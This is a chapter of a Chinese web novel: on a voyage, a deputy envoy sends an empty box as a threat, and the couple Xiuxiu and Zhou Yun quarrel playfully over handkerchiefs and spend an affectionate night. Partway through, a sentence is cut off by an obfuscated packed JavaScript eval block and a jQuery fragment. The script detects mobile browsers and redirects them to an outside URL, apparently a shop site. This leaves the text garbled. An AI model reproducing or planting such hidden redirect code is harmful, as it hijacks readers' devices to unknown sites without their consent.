当夜，周副使独坐舱房中，未更衣，亦未唤人伺候，唯有案头一盏孤灯相伴，火苗瘦瘦跳着，如同人影细长孤峭。


    她在复盘着这趟航程。


    起初奉旨登船，于她而言，不过是一桩不容有失的差事。


    她深知这船终要驶往何处，亦知众人残酷终局，但官海沉浮这些年，声色皆能藏进官袍之中，她本应片叶不沾身，只需端着副使威仪，待事成之后回到大牟，升官得赏，将这旅程彻底封存。


    直到那日，她认出那个年轻厨子陈甫，正是她幼时失散的胞弟。


    那一刻，这趟航程陡然增添了些温度和分量。护住这仅存的血亲平安回到大牟，是她最后的底线。


    原本，这并不难。以她副使之权，只需一个适当时机，找个由头将一名厨子从祭祀名单中悄然撤下，易如反掌。


    可偏偏，自提督抱恙深居后，一切似乎都在无声偏航。


    王公公那老阉货，与她素来明争暗斗，昔日冶坊督造一事便多有龃龉，登船后的掣肘更是从未少过。何以此次抱病后，态度反倒透出些异常的温和和倚重？祭海大典上张纭那几乎戳破窗户纸的谶言，依照王公公往日调性，定是宁可错杀、绝不放过，张纭即便不死也该被打入囚室，何以最终竟高高举起、轻轻放下？


    今日晌午，陈甫前来，将连日观察的疑虑和盘托出：船上怪事频发，船员一个接一个地昏倒，从阿胜到叶文珠，个个症状离奇，倒真似海神惩罚，可细细想来，这些人似乎都与周允脱不了干系。


    而周允，却像个看客，正在三层旁观这场愈演愈烈的戏……


    周宁听罢，心中那根弦绷到极限。


    她当机立断，这才有了下晌那场看似闲情的“手谈之请”。


    她必要亲自去探探，那屏风后，究竟是病骨支离的王公公，还是什么旁的魑魅魍魉。


    果不其然，“提督”依旧无法见人。


    一番言语推拉，二人终是隔着屏风，借秀秀这“替手”，完成了一局云山雾罩的棋。


    此刻，她垂眸，正看着这凭记忆复刻出来的棋局走势图。


    那白子看似松散随意，实则内蕴章法。


    她对着棋局沉吟良久，脸色愈来愈沉。


    这不是王公公的棋。


    沉吟良久，一个愈发笃定的轮廓在她心中浮现。她不再犹豫，伸手摇了一下案头铜铃。


    不多时，提督门前，一小太监手中正捧着一只锦盒，对着应门的秀秀细声开口，恭敬有加：“周副使惦念大人，特命小的送来一盒鲜亮果子，给大人润润喉。”


    秀秀警铃微作，她面上却静，淡淡道：“有劳周大人费心。”她并未立刻去接，往后退了半步，“你打开罢。”


    小太监略一迟疑，抬眼觑她神色，但见秀秀面容古井无波，不容置疑。


    他心下惴惴，却也不敢违拗，只得依言，小心掀开盒盖。


    岂料鲜亮果子并未出现。


    盒内，空空如也。


    只有光滑的白缎子内衬，在廊灯暗光下，恰似一匹待人自缢的白绫。


    小太监脸上血色骤消，扑通跪地，将锦盒举到头顶，声音抖得不成样子：“小的、小的不知，这盒子送来时便是如此，小的万万不敢……”


    秀秀置若罔闻，她盯着盒内那刺目的白，看了许久，久到小太监快要将伏地的身子压成薄薄一片。


    半晌，她移开视线，伸手接过锦盒，平静开口：“回去告诉你家大人，提督已经收着了。”


    话音未落，舱门已闭。


    秀秀转身，迎上周允的目光。两人都未开口，只一同行至桌边，盯着那只诡异的空锦盒，眉心阴郁不散。


    今日下晌，她与周副使相对而坐，无声交锋。秀秀虽是‘替手’，心思却全然不在那纵横十九道上。


    她时不时看向对面。


    周副使执子时神情专注，眉眼低垂，那轮廓，那神态……她愈看，愈觉得一定见过。不是船上，是更早。


    深埋的记忆呼之欲出，思绪渐渐飘远……


    昔日茶楼棋坛大赛上，周允曾险胜一女子，那女子棋力超群，气度不凡，虽惜败指尖神手，却引得众人喝彩。秀秀对其风姿印象尤深。


    彼时，正思及此，副使清冽的嗓音传来。


    “替手姑娘？”周副使道，“该你落子了。”


    秀秀悚然惊醒，后背霎时出了一身冷汗。


    那位女棋手，不是正在她面前？


    更令她轰然巨震的，是她猛地想起，这位副使，好巧不巧，姓周名宁。


    宁棋客，难道并不姓“宁”？


    下晌送走副使后，秀秀心中曾掠过一丝侥幸，若是旧识，或许，这位副使并非铁板一块？至少，对方可能会因这层渊源，行事稍有顾忌？


    可此刻，一闪而过的侥幸被这空盒彻底清扫了个干净，干净得像这盒内白缎。


    到底是在宫里浸淫多年，周宁远比她想的心更狠、手更辣，也更难以捉摸。


    这哪里是送“果子”。


    盒中无果，请君自采。


    采什么，采那项上人头？抑或是，请君自裁？


    船舱内静得可怕，秀秀听见咚咚闷响，过了几息，才后知后觉，原是自己的心跳。沉重撞击，如同困兽撞笼。


    周允揉了揉额角，看向她。


    她的脸色近乎透明，紧抿着唇，满脸严肃僵硬。


    他伸手，用手背蹭了蹭她脸颊，冰凉。


    “怎这副苦大仇深的模样？”他扯出一点笑意，语气刻意放得轻松，“活像被讨了陈年旧债。”


    秀秀没笑，嘴角一动未动。


    可不就是被讨债么？讨命债。


    二人对视良久，空气冷硬不堪，周允脸上那点勉强拼凑的笑意，也被冰得凝结，而后消散。


    “周允。”秀秀涩然开口。


    “嗯。”周允应着。


    “今晚……”她望进他眼底，“你别睡榻了，陪我睡床罢。”


    周允怔忪刹那，随即，刚刚消失的笑意再次浮现，比起方才，倒是多了几分真心实意，又或许是被烛光照耀的暖意。


    夜色浓稠，房内烛光尽熄，暖意却在二人之间，久久不散。


    周允将秀秀环住，贴得近，体温透过衣裳传递。他毫无睡意，也不许她睡，兀自说着话，来填满一室寂静。


    “秀秀，”他轻唤。


    她应得模糊。


    “你还有何心愿？”


    秀秀在他怀里动了动，道：“希望咱们都好好活着，活到靠岸。”


    不求活到看见大牟码头熙攘人烟，不求活到重现天日后的任何未来，只求活到靠岸。


    “还有呢？”周允又问，想要将她心底的念想掏得一滴不剩。


    秀秀想了想，更小声地说：“希望铁柱也好好活着。”提起铁柱，她愧怍难耐。


    周允闻言，搂着他的手臂紧了紧。沉默了良久，他复又开口：“秀秀，铁柱他现在一定很好。”


    秀秀“嗯”了声，兴致不高，甚至落寞，显然并未当真。


    “我说的是真的。”周允补充道，语气坚定。


    秀秀仍旧低低的“嗯”了一声，再无下文。


    周允见状，拍了拍她的后背，下定决心般道：“我有件事我瞒了你。”


    “嗯？”


    “……上船前，铁柱被我送进了冶坊。”


    秀秀猛地从他怀里坐起。


    “签的是正经学徒契，有师父在，学门手艺，总比在阳城做小厮强得多。”


    房内窗扉只留一角，泻进些许银白月色，扑在秀秀脸上，她一时有些茫然，似乎在认真思索周允是不是骗她。


    少顷，那双漂亮的眼睛怔怔望向周允，看见他认真的神色。


    毫无预兆地，大颗大颗的泪在她脸上连成了线，在月光里亮晶晶地滚下。


    周允慌了。


    他忙用手去拭，指腹抹过脸颊，如何也擦不尽，他心里咒骂一句自己多嘴，干脆翻身下床，取了条干净帕子，坐回床边，轻轻托起她脸颊，有些笨拙地给她擦拭满脸泪痕。


    好半晌，眼泪是止住了，可秀秀脸却耷拉得更厉害，唇角向下撇着，受了天大的委屈，比刚才还可怜。


    周允捏捏她脸颊，声音不自觉放柔：“这是怎了？待我们回了皇京，便能见着铁柱，该高兴才是。”


    秀秀皱眉，一把打开他手，一记眼刀飞过来，剜得周允一愣，完全摸不着头脑。


    还不解气，她忽然伸出脚踹他：“你回榻上去。”


    周允眉头拧起，不明所以，握住她脚腕，半逼半哄将人往自己这边带了带：“我瞒着你是我不对，可你从前不也瞒我许多？咱俩这算扯平了，行不行？我不跟你要赔礼了。”


    他以为秀秀气他这个。


    大错特错。


    “谁跟你扯平。”秀秀鼓着脸，声中带着哭过的鼻音，更显娇蛮，“还我帕子！”


    周允更困惑，看看手中帕子，又看看她：“为何？脏了，我明日再洗便是。”


    “恶心！”秀秀嗔怒，“两家帕子混着用，你也不怕脏了脸！”


    周允失笑，觉得她这气生得毫无道理：“你家我家，早晚是一家，何必分得那么清？”


    此话不说还好，一说，秀秀气得眼睛都瞪圆了，方才的那些心虚一扫而空，她当即便要下床穿鞋。


    奈何周允并不松手。


    她气鼓鼓道：“你既已拿了我的手帕，还拿别人的做甚？你知不知羞耻？”


    周允这下听出些不对劲，被她这没头没脑的指控弄得心生疑窦，只觉莫名其妙：“这又是在说什么？我何时拿了别人的帕子？”


    “你当真是装傻充愣的好手！”秀秀冷哼，“那三文钱我还给你，你瞧不上我那素帕，去用绣星星绣月亮的绸帕便是。”


    电光石火间，周允这才恍然大悟，垂眼落在方才的帕子上。


    他拎着帕子送到秀秀眼前晃了晃：“你说这个？”


    秀秀瞥了一眼那绸帕上清晰的纹样，一弯银线绣月，旁缀三粒小星，任谁瞧都是女子的手帕。


    她本以为和周允风雨同舟、生死与共，甚至方才还在忧心他们的安危，思虑着如何应对那空盒，岂料周允竟早有二心，随身藏着别家小姐的贴身之物。


    再瞧一眼这星月纹样，她竟觉得，和空盒里的白缎一样刺眼。


    别开脸，不想再看。


    却听见周允喉间闷笑。


    “上船前，文珠捣鼓出这条帕子，本想送给寅生，可自己左看右看都不甚满意，觉得针脚粗了，又觉得星


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098711|188039||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    星绣歪了，也不舍得扔，便塞到我这儿。我随手收了，平日当块寻常布巾杂用，方才着急，顺手便扯了这条。”


    他一字一句解释，凑近，借着淡淡月光看她侧脸，慢悠悠开口：“怎么，又被你当成哪家小姐送的了？文珠那丫头若是知道，要笑掉大牙。”


    秀秀一怔，脸上有红似白，有些挂不住面子，强撑着蹙眉嘴硬：“嘴长在你身上，你说这是天上王母娘娘赏的、东海龙王赐的，也没人知道。”


    周允被气得有些想笑。


    他抻开帕子，将那纹样摆在她眼前，指着说道：“你再仔细瞧瞧，一钩残月带三星，谜底是一‘心’字，上元节那晚，你只顾着踩我，连你弟弟猜中的彩头都忘了？”


    那时……


    秀秀陷入回忆，彼时她尚未开蒙，哪里听得懂这字谜？如今听周允一说，她这才想起，好像是有那么回事。


    她脸上红得愈发厉害，羞臊交加。


    周允不依不饶：“记起来了？你当时那一脚，结结实实，踩得我现在还难受。”


    “胡吣，你哪里难受了？我看你走得稳稳当当。”


    周允意味深长地看了她一眼，低声道：“哪里都难受。”


    秀秀不敢继续纠缠这个，她慌忙推他，问：“那我的帕子呢？你放哪儿了，还我。”


    语气虽硬，却已是强弩之末，周允见好便收，不再穷追猛打。


    他下床去翻自己包袱，不多时，他将两条帕子递到秀秀面前。


    月光朦胧，足够看得清，两条帕子俱被洗得干净，叠得整齐。只是一条完好，另一条却是破了个大洞。


    秀秀拈起那条破了的帕子，摩挲着洞口毛糙边线，势必要从方才落得的下风中赢回来。


    她开口诘问，发难于他：“口口声声说爱惜，这般大的口子，可不像爱惜的模样。你倒是说说，如何‘爱惜’成这样的？”


    周允身形一定。


    他目光闪烁，喉结跟着滚动一下，垂下眼，声音也低沉下去：“你真想知道？”


    秀秀睇他一眼，端起架势：“爱说不说，不说便是心里有鬼。”


    周允似乎有些赧然，也有些气短，含糊道：“……想你的时候用的呗。”


    秀秀狐疑眯眼，又盯着他看，黑白分明的眸子里满是怀疑。


    周允招架不住，破罐子破摔，闲闲低喃：“一勒一勒复一勒，岂料帕子竟分离……”


    秀秀起初听不明白，待脑子慢半拍地将那几个字连起来，脸上轰地爆炸，简直要冒烟。她张了张嘴，羞得连自个儿都过意不去，恨不得找个地缝钻下去。


    这混账，他怎么能……


    她不要和这登徒子一床！一刻也不！


    二话不说，秀秀将破帕子往他怀里一丢，下床欲跑。


    周允早有防备，长臂一伸，轻松将人拉回，禁锢在身前：“跑什么？”


    “你说跑什么？”


    安静半晌，两人略显急促的呼吸声紧密交织。


    周允声中有了一种克制的暗哑：“今日下晌之事，还能不能续上？”


    秀秀不如他愿，梗着脖子道：“不能。”


    周允并不急，讨价还价，步步为营：“晚饭早早便传过了，月黑风高，四下无人，也不能？”


    秀秀迟迟不语。


    “秀秀，”周允看她微颤的羽毛，不容拒绝地低语，“再亲亲我。”


    他的唇几乎要碰到她耳唇，摆明了不达目的不罢休。


    “……也可以，”秀秀松口，谈条件，“那你先把我松开。”


    缓兵之计。


    “不行，松了你便跑，别以为我不知道你的算盘。”


    秀秀有些恼：“我往哪跑？总归是跑不出这间房。”


    周允想了想，觉得在理。你追我赶，他也乐意奉陪。


    “那说好了？”他手上力道微松。


    秀秀点头。


    得了自由，她却并未立刻动作，抬眼看他，颊染飞霞，她要求：“你闭上眼。”


    周允挑眉看她。


    “你睁着眼，我不好意思。”秀秀声若蚊蚋，显然一副忸怩羞涩的姿态。


    周允照做，毫不掩饰自己的期待。


    静了片刻，却没有等来她的唇。


    “啪”。


    脸上落下软绵绵的一巴掌，接着听见她无法自抑的笑。十分挑衅。


    周允睁眼，只见她登时便往榻边跑去，跑得急了，半趿拉着的鞋子掉了一支，顾不上捡，便赤着一只白生生的脚。


    纤巧脚踝一提，足尖点地，轻盈欲舞，足跟泛红，脚背有纤细青筋纹路，若隐若现。


    周允的眼眸追随着那些淡青色纹路，脑中闪过许多。他想起梨树抽出的头茬嫩枝桠，想起党参的根须，想起芍药的尖刺，想起莲蓬的茎杆，想起锅炉里的细长火舌，最后，想起她在溪畔戳他后背的那根树枝。


    他想衔住这些脉络，种进自己身体里。


    周允等了等，待她钻到榻上，他才三两步追上，两人扭打起来，笑语盈盈，气喘吁吁，最后，都静了下来。


    长夜孤舟，深海前路，和久违的欢愉一同漂浮在空中，并不落地。


    良久，秀秀眼中水光潋滟。


    周允缓缓贴上她的眼，想把她的泪水全都吻干。